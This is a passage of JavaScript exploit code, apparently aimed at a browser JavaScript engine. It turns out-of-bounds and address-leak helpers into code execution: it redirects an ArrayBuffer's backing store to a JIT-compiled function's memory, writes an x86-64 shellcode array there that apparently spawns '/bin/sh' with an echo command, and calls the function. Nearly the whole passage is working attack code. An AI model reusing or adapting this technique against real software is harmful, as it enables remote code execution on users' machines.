const SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 104, 46, 114, 105, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 69, 68, 59, 32, 47, 98, 105, 110, 80, 72, 184, 101, 99, 104, 111, 32, 80, 87, 78, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
jitted_function_ptr = addr_of(jitme)
// print("JIT Function: " + jitted_function_ptr)
let JIT_ptr = read_64(jitted_function_ptr.add(0x38 - 1));
// print("JIT PTR: " + JIT_ptr)
// print(JIT_ptr.to_double())
// print(new Int64(JIT_ptr).to_double())
// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
oob_array[shellcode_array_buffer_backing_store_offset] = JIT_ptr.to_double();
let shell_code_writer = new Uint8Array(shellcode_array_buffer);
// print(Int64.from_double(oob_array[shellcode_array_buffer_backing_store_offset]))
shell_code_writer.set(SHELLCODE);
res = jitme()